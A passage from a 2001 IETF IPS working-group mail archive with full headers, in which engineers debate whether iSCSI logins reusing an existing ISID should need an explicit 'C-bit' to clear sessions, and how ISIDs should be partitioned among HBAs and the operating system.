initiator will never set the >C bit unless it really wants it and understands the consequences. A "bad" >initiator (because of bad programming) will set the C bit first and then >handle the rejection as a retry (but when there is no rejection, the bad >effects have already happened). A "good/bad" initiator may not set the C >bit first, but then set it after a rejection because it thinks it owns the >ISID space (e.g., doesn't even know or care that there might be another HBA >around) -- and we all know systems that behave this way! > >The net of this is, in my opinion, that what we're trying to protect >against with Option B won't really be protected, so why bother with the >extra protocol. > >And in reply to David's suggestion for a mandatory management interface to >disable the C-bit. If iSCSI can mandate that, then it can mandate a >management interface for setting/configuring ISID partitions and the >problem goes away of non-cooperating HBAs. > >Jim Hafner > > >Black_David@emc.com@ece.cmu.edu on 09/06/2001 07:10:37 am > >Sent by: owner-ips@ece.cmu.edu > > >To: Nick.Martin@compaq.com, ips@ece.cmu.edu >cc: >Subject: RE: iSCSI: login issue - partial consensus call > > > >Trying to close this issue, I think Nick's points are valid and >answer the question about when the "C-bit" would not be set -- >when the entity sending the command suspects (or wants to protect >against) a problem in ISID assignment. That appears to make option >B) the right choice: > > B) Should iSCSI mandate making this intended cleanup explicit > by setting a bit (Say C-bit, for Clear) in the Login Command > PDU to prevent an accidental session cleanup with a buggy > initiator code? > >I have the following additional comments: >(1) A new bit is needed. Reuse of the X-bit for this purpose has been > rejected by rough consensus of the WG. >(2) In order to deal with the worst case, every iSCSI implementation > MUST have an administrative interface that can prevent this new > "C-bit" from ever being set, even if the implementation thinks > that setting it is the right thing to do. This provides a > way to deal with situations in which sessions are getting > stomped on by ISID problems. >(3) Some additional words about ISID usage are needed to encompass > scenarios in which ISID assignment is not present, does not > assign enough ISIDs, or fails for some reason. > >Comments are welcome. Further objection to B) needs to explain >why Nick's scenarios should not be considered. I was disappointed >to see a prior statement that the ISIDs would be different "by >definition" - this is in the same category as saying that software >and protocol implementations are bug-free "by definition". Keep in >mind that Nick is correct in saying: > >> The problem is that iSCSI does not and will not specify how two HBAs >> from different vendors installed in the same Initiator should or could >> get a range of ISIDs for their exclusive use. This will be operating >> system specific and vendor defined. > >Thanks, >--David > >--------------------------------------------------- >David L. Black, Senior Technologist >EMC Corporation, 42 South St., Hopkinton, MA 01748 >+1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 >black_david@emc.com Mobile: +1 (978) 394-7754 >--------------------------------------------------- > >> -----Original Message----- >> From: Martin, Nick [mailto:Nick.Martin@compaq.com] >> Sent: Wednesday, September 05, 2001 5:50 PM >> To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu >> Subject: RE: iSCSI: login issue - partial consensus call >> >> >> Marj, >> >> You mention vendors not knowing how to play right. >> The problem is that iSCSI does not and will not specify how two HBAs >> from different vendors installed in the same Initiator should or could >> get a range of ISIDs for their exclusive use. This will be operating >> system specific and vendor defined. It is uncertain that the same tool >> or repository would be used by all HBA vendors in any environment. >> Given this, accidental overlap in ISID space is not unlikely. >> >> Given that there is no one way to play right, we must make sure that >> everyone can at least play nice. >> >> My expectation is that sessions are infrequently established and long >> lived. ISIDs may be re-used at will by their current owners. When no >> "already owned" ISIDs are available, or an attempt to re-use an "already >> owned" ISID failed, and HBA would need to a) "probe" for a new available >> ISID or b) fail the request to establish the session. Session recovery >> should not be attempted unless a session is known to have failed. >> >> If tools are available, and the administrator has used them correctly, >> then HBAs will not collide in ISID space. If the tools are not >> available or were not used correctly, I would hope the second HBA can >> still attempt to come up without impacting the sessions established by >> the first. >> >> Again, I state my support for a login with existing ISID harmlessly >> fails (the Target state does not change) unless a session recovery >> indicator is set. Also if a session recovery indicator is set, and the >> ISID is not in use (by this Initiator at this Target), the login also >> fails. >> >> Thanks, >> Nick >> -----Original Message----- >> From: KRUEGER,MARJORIE (HP-Roseville,ex1) >> [mailto:marjorie_krueger@hp.com] >> Sent: Friday, August 31, 2001 12:09 PM >> To: Martin, Nick; ips@ece.cmu.edu >> Subject: RE: iSCSI: login issue - partial consensus call >> >> >> > In particular this enables independent agents within the same >> initiator to >> > attempt a login without knowing all ISIDs in use by other agents. >> Each >> > agent would know the ISID of sessions it had successfully >> established, >> but >> > not the ISIDs for sessions established by others. It can use the >> ISIDs it >> > knows to recover sessions it owns. If an agent gets a failure >> attempting >> to >> > establish a new session, it would pick a different ISID and >> > retry (or just quit), rather than disrupting a session of another >> agent. >> >> The intent of the presentation on SCSI/iSCSI modeling, and the text in >> the >> draft, is to illustrate how this example is not a recommended >> implementation >> choice due to the probability of violating the SCSI/iSCSI >> rules pointed >> out. >> If the "independant agents" had partitioned the ISID space, >> there would >> be >> no collision on login and no time wasted. Your illustrated >> implementation >> could spend significant time "trying" ISID's in use by the "other >> agents". >> >> However, I'm starting to have more sympathy with Julian's concerns due >> to >> the apparent risks of different vendors' initiator implementations not >> following the rules. >> >> I just imagined having vendor A's HBA installed and happily servicing >> applications, installing vendor B's "plug-n-play" implementation, and >> having >> all A's sessions aborted cause B doesn't know how to play right :-( >> >> Marj >> > > > > From owner-ips@ece.cmu.edu Thu Sep 6 16:56:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08865 for ; Thu, 6 Sep 2001 16:56:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86IXvs03829 for ips-outgoing; Thu, 6 Sep 2001 14:33:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from antipater.hosting.pacbell.net (antipater.hosting.pacbell.net [216.100.99.13]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86IXrP03824 for ; Thu, 6 Sep 2001 14:33:54 -0400 (EDT) Received: from somesh (sdsl-216-36-75-164.dsl.sjc.megapath.net [216.36.75.164]) by antipater.hosting.pacbell.net id OAA05796; Thu, 6 Sep 2001 14:33:15 -0400 (EDT) [ConcentricHost SMTP Relay 1.7] Reply-To: From: "Somesh Gupta" To: , , Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 11:33:20 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD6F2@CORPMX14> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I thought I had made my last statement on this :-) > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Black_David@emc.com > Sent: Thursday, September 06, 2001 7:11 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Trying to close this issue, I think Nick's points are valid and > answer the question about when the "C-bit" would not be set -- > when the entity sending the command suspects (or wants to protect > against) a problem in ISID assignment. That appears to make option > B) the right choice: It is hard to imagine designing an HBA (made to operate in a multiple HBA environment) that does not provide the interface capability to avoid ISID conflicts - while being smart enough to figure out independently which ISID to use by polling the target. On the other hand, loosing track of ISIDs has to be an error situation or a system restart case. How many attempts is this HBA supposed to make before deciding that there are no ISIDs available? > > B) Should iSCSI mandate making this intended cleanup explicit > by setting a bit (Say C-bit, for Clear) in the Login Command > PDU to prevent an accidental session cleanup with a buggy > initiator code? > > I have the following additional comments: > (1) A new bit is needed. Reuse of the X-bit for this purpose has been > rejected by rough consensus of the WG. > (2) In order to deal with the worst case, every iSCSI implementation > MUST have an administrative interface that can prevent this new > "C-bit" from ever being set, even if the implementation thinks > that setting it is the right thing to do. This provides a > way to deal with situations in which sessions are getting > stomped on by ISID problems. If there is a way to mandate a 'MUST' interface, then perhaps there is a way to mandate that every implementation must be able to accept a range of ISIDs from which to select the ISID. Also maybe we can mandate that they don't loose track of their ISID assignments :-) > (3) Some additional words about ISID usage are needed to encompass > scenarios in which ISID assignment is not present, does not > assign enough ISIDs, or fails for some reason. > > Comments are welcome. Further objection to B) needs to explain > why Nick's scenarios should not be considered. I was disappointed > to see a prior statement that the ISIDs would be different "by > definition" - this is in the same category as saying that software > and protocol implementations are bug-free "by definition". Keep in > mind that Nick is correct in saying: I have to disagree with the statement above. Protocols should not be designed based on the working around implementation bugs. Otherwise this seems like something that would spin you around in circles. > > > The problem is that iSCSI does not and will not specify how two HBAs > > from different vendors installed in the same Initiator should or could > > get a range of ISIDs for their exclusive use. This will be operating > > system specific and vendor defined. > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > -----Original Message----- > > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > > Sent: Wednesday, September 05, 2001 5:50 PM > > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > > Subject: RE: iSCSI: login issue - partial consensus call > > > > > > Marj, > > > > You mention vendors not knowing how to play right. > > The problem is that iSCSI does not and will not specify how two HBAs > > from different vendors installed in the same Initiator should or could > > get a range of ISIDs for their exclusive use. This will be operating > > system specific and vendor defined. It is uncertain that the same tool > > or repository would be used by all HBA vendors in any environment. > > Given this, accidental overlap in ISID space is not unlikely. > > > > Given that there is no one way to play right, we must make sure that > > everyone can at least play nice. > > > > My expectation is that sessions are infrequently established and long > > lived. ISIDs may be re-used at will by their current owners. When no > > "already owned" ISIDs are available, or an attempt to re-use an "already > > owned" ISID failed, and HBA would need to a) "probe" for a new available > > ISID or b) fail the request to establish the session. Session recovery > > should not be attempted unless a session is known to have failed. > > > > If tools are available, and the administrator has used them correctly, > > then HBAs will not collide in ISID space. If the tools are not > > available or were not used correctly, I would hope the second HBA can > > still attempt to come up without impacting the sessions established by > > the first. > > > > Again, I state my support for a login with existing ISID harmlessly > > fails (the Target state does not change) unless a session recovery > > indicator is set. Also if a session recovery indicator is set, and the > > ISID is not in use (by this Initiator at this Target), the login also > > fails. > > > > Thanks, > > Nick > > -----Original Message----- > > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > > [mailto:marjorie_krueger@hp.com] > > Sent: Friday, August 31, 2001 12:09 PM > > To: Martin, Nick; ips@ece.cmu.edu > > Subject: RE: iSCSI: login issue - partial consensus call > > > > > > > In particular this enables independent agents within the same > > initiator to > > > attempt a login without knowing all ISIDs in use by other agents. > > Each > > > agent would know the ISID of sessions it had successfully > > established, > > but > > > not the ISIDs for sessions established by others. It can use the > > ISIDs it > > > knows to recover sessions it owns. If an agent gets a failure > > attempting > > to > > > establish a new session, it would pick a different ISID and > > > retry (or just quit), rather than disrupting a session of another > > agent. > > > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > > the > > draft, is to illustrate how this example is not a recommended > > implementation > > choice due to the probability of violating the SCSI/iSCSI > > rules pointed > > out. > > If the "independant agents" had partitioned the ISID space, > > there would > > be > > no collision on login and no time wasted. Your illustrated > > implementation > > could spend significant time "trying" ISID's in use by the "other > > agents". > > > > However, I'm starting to have more sympathy with Julian's concerns due > > to > > the apparent risks of different vendors' initiator implementations not > > following the rules. > > > > I just imagined having vendor A's HBA installed and happily servicing > > applications, installing vendor B's "plug-n-play" implementation, and > > having > > all A's sessions aborted cause B doesn't know how to play right :-( > > > > Marj > > > From owner-ips@ece.cmu.edu Thu Sep 6 17:23:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09329 for ; Thu, 6 Sep 2001 17:23:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86JLZ207117 for ips-outgoing; Thu, 6 Sep 2001 15:21:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86JLWP07112 for ; Thu, 6 Sep 2001 15:21:32 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA91792; Thu, 6 Sep 2001 15:19:15 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f86JLTt91184; Thu, 6 Sep 2001 13:21:29 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: login issue - partial consensus call To: Sandeep Joshi Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Thu, 6 Sep 2001 12:20:41 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/06/2001 01:21:29 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 6 17:24:01 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09343 for ; Thu, 6 Sep 2001 17:23:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86JZqW08140 for ips-outgoing; Thu, 6 Sep 2001 15:35:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f86JZoP08135 for ; Thu, 6 Sep 2001 15:35:50 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Thu Sep 6 15:35:42 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Thu Sep 6 15:35:56 EDT 2001 Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id PAA23278; Thu, 6 Sep 2001 15:35:22 -0400 (EDT) Message-ID: <3B97CFFA.BD87ADE@research.bell-labs.com> Date: Thu, 06 Sep 2001 15:35:22 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: John Hufferd CC: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, I wasnt suggesting making ISIDs a hardware-configurable item. There are two ways to give out the Initiator Name and ISID to HBAs : (a) Modify OS stack - new midlayer to coordinate all HBAs Transparent to the user. (b) Custom vendor programs - which download config info into HBAs. Needs admin intervention. Now, how do we modify all those machines/OS instances out there to make them work with the new iSCSI HBAs ? Its going to take time for Microsoft, Linux, Solaris, etc to make their OSes iSCSI-friendly with perhaps a new driver. Until then, vendors will be forced to use option (b). That is the point I was trying to make...how do we play with existing installations ? -Sandeep John Hufferd wrote: > > I understand you point, however, the discussion we had on this, talked > about each HBA needing to have an install process that is OS specific. It > was suppose to be an OS specific install or startup process that handed out > the ISIDs (or ISID ranges). > > I think your point is that you wish that there was no reason to interact > with the OS, in order to get installed. I do not think that is a good > assumption. > > It is the OS that needs to let the HBA know what the iSCSI Initiator Node > Name is, so that the HBA can configure to use it. It might as well hand > out the ISIDs at the same time. > > You are suggesting that making the ID of the iSCSI HBA only a HW item. > This is not where we came down previously. You want to make your job of > interfacing with the OS, simpler, and put more burden on the administrator. > This was the mistake we made with FC and I would not like to see that > repeated here. You say that there needs to be Jumpers or switches, well > this is up to your adapter. We use to do that kind of stuff before the > Plug and Play started working with the OS. We need to work with the OS in > a similar manor. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Sandeep Joshi @research.bell-labs.com on > 09/06/2001 11:44:00 AM > > Sent by: sandeepj@research.bell-labs.com > > To: John Hufferd/San Jose/IBM@IBMUS > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: login issue - partial consensus call > > John, > > Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > > > b) The ISID name space of the iSCSI Initiator should be partitioned > > among the intiator portal groups. > > How do you perceive this will be achieved in practice ? > > This can turn out to be an nightmare for HBA vendors. > IRQ settings, jumpers, or setup programs which run at boot > instantly come to mind. > > Ideally, ISIDs should work as SCAM works but that would involve > adding a mid-layer to OSes, to distribute that ISID name space. > Modifying OSes in the field is tough, as we all know. > > I realize the standard wont mandate such configuration items > but I'd rather we not add rules which would force such > configuration tweaks to become necessary. > > We should reconsider the above rule and its consequence on > the login issue Nick brought up. > > Regards, > -Sandeep > > John Hufferd wrote: > > > > By the way, the OS is also suppose to have a way to hand out (partition > up) > > ISIDs to the various iSCSI Initiator functions, whether they are Software > > or Hardware. > > > > So, even though, I was initially swayed by Nick's Arguments -- we > require > > the OS to partition up the ISID space and hand out specific ISIDs or > ranges > > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > > whether they are in Software or Hardware) -- I do not now see, if the > > implementation is as specified in our spec., how there is a conflict in > > ISID. > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 6 17:42:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09608 for ; Thu, 6 Sep 2001 17:42:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86JnW109078 for ips-outgoing; Thu, 6 Sep 2001 15:49:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86JnPP09062 for ; Thu, 6 Sep 2001 15:49:25 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA51274; Thu, 6 Sep 2001 15:47:01 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f86JnAt181858; Thu, 6 Sep 2001 13:49:11 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: login issue - partial consensus call To: Sandeep Joshi Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Thu, 6 Sep 2001 12:48:30 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/06/2001 01:49:10 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I did not intend to trivialize the issue, however, I think this is not necessarily an IETF issue as much as a SNIA type issue. Having said that, I would also like the vendor HBAs to be able to cooperate until the OSs catch-up. Sometimes, when devices start-up, they are able to check and see what other device like themselves have been already started, and a unique name is given to their instance, that is often numeric (like "iSCSI Adapter 01", or "iSCSI Adapter 02"). I think the technique is OS, related, even if the OS is not aware of it. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 12:35:22 PM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, I wasnt suggesting making ISIDs a hardware-configurable item. There are two ways to give out the Initiator Name and ISID to HBAs : (a) Modify OS stack - new midlayer to coordinate all HBAs Transparent to the user. (b) Custom vendor programs - which download config info into HBAs. Needs admin intervention. Now, how do we modify all those machines/OS instances out there to make them work with the new iSCSI HBAs ? Its going to take time for Microsoft, Linux, Solaris, etc to make their OSes iSCSI-friendly with perhaps a new driver. Until then, vendors will be forced to use option (b). That is the point I was trying to make...how do we play with existing installations ? -Sandeep John Hufferd wrote: > > I understand you point, however, the discussion we had on this, talked > about each HBA needing to have an install process that is OS specific. It > was suppose to be an OS specific install or startup process that handed out > the ISIDs (or ISID ranges). > > I think your point is that you wish that there was no reason to interact > with the OS, in order to get installed. I do not think that is a good > assumption. > > It is the OS that needs to let the HBA know what the iSCSI Initiator Node > Name is, so that the HBA can configure to use it. It might as well hand > out the ISIDs at the same time. > > You are suggesting that making the ID of the iSCSI HBA only a HW item. > This is not where we came down previously. You want to make your job of > interfacing with the OS, simpler, and put more burden on the administrator. > This was the mistake we made with FC and I would not like to see that > repeated here. You say that there needs to be Jumpers or switches, well > this is up to your adapter. We use to do that kind of stuff before the > Plug and Play started working with the OS. We need to work with the OS in > a similar manor. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Sandeep Joshi @research.bell-labs.com on > 09/06/2001 11:44:00 AM > > Sent by: sandeepj@research.bell-labs.com > > To: John Hufferd/San Jose/IBM@IBMUS > cc: ips@ece.cmu.edu > Subject: Re: iSCSI: login issue - partial consensus call > > John, > > Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > > > b) The ISID name space of the iSCSI Initiator should be partitioned > > among the intiator portal groups. > > How do you perceive this will be achieved in practice ? > > This can turn out to be an nightmare for HBA vendors. > IRQ settings, jumpers, or setup programs which run at boot > instantly come to mind. > > Ideally, ISIDs should work as SCAM works but that would involve > adding a mid-layer to OSes, to distribute that ISID name space. > Modifying OSes in the field is tough, as we all know. > > I realize the standard wont mandate such configuration items > but I'd rather we not add rules which would force such > configuration tweaks to become necessary. > > We should reconsider the above rule and its consequence on > the login issue Nick brought up. > > Regards, > -Sandeep > > John Hufferd wrote: > > > > By the way, the OS is also suppose to have a way to hand out (partition > up) > > ISIDs to the various iSCSI Initiator functions, whether they are Software > > or Hardware. > > > > So, even though, I was initially swayed by Nick's Arguments -- we > require > > the OS to partition up the ISID space and hand out specific ISIDs or > ranges > > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > > whether they are in Software or Hardware) -- I do not now see, if the > > implementation is as specified in our spec., how there is a conflict in > > ISID. > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 6 18:18:00 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10152 for ; Thu, 6 Sep 2001 18:17:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86Ksos13636 for ips-outgoing; Thu, 6 Sep 2001 16:54:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f86KrxP13579 for ; Thu, 6 Sep 2001 16:54:15 -0400 (EDT) Received: from scummy.research.bell-labs.com ([135.104.2.10]) by dirty; Thu Sep 6 16:53:20 EDT 2001 Received: from aura.research.bell-labs.com (aura.research.bell-labs.com [135.104.46.10]) by scummy.research.bell-labs.com (8.11.4/8.11.4) with ESMTP id f86Kr0l46607 for ; Thu, 6 Sep 2001 16:53:00 -0400 (EDT) Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id QAA29522 for ; Thu, 6 Sep 2001 16:53:00 -0400 (EDT) Message-ID: <3B97E22C.BE47154D@research.bell-labs.com> Date: Thu, 06 Sep 2001 16:53:00 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John Hufferd wrote: > > I did not intend to trivialize the issue, however, I think this is not > necessarily an IETF issue as much as a SNIA type issue. Ok.. I was just trying to examine the implications of the "OS does ISID partition" rule on this consensus call. (IOW, can we interoperate without this rule?) If we agree with this rule, then Nick's argument is a non-issue as you have rightly pointed out. thanks -Sandeep > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > From owner-ips@ece.cmu.edu Thu Sep 6 18:23:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10235 for ; Thu, 6 Sep 2001 18:23:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86L0X714055 for ips-outgoing; Thu, 6 Sep 2001 17:00:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86L0VP14049 for ; Thu, 6 Sep 2001 17:00:32 -0400 (EDT) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id NAA13018 for ; Thu, 6 Sep 2001 13:58:23 -0700 (PDT) Received: from aimexc03.corp.adaptec.com (aimexc03.corp.adaptec.com [162.62.62.43]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id NAA07222 for ; Thu, 6 Sep 2001 13:45:33 -0700 (PDT) Received: by aimexc03.corp.adaptec.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 13:58:22 -0700 Message-ID: <268DBFF7D2A3D411A37400D0B72E345FDA9450@aimexc03.corp.adaptec.com> From: "MacLean, Neil" To: ips@ece.cmu.edu Subject: RE: Remove Date: Thu, 6 Sep 2001 13:58:19 -0700 MIME-Version: 1.0 X-Mailer: 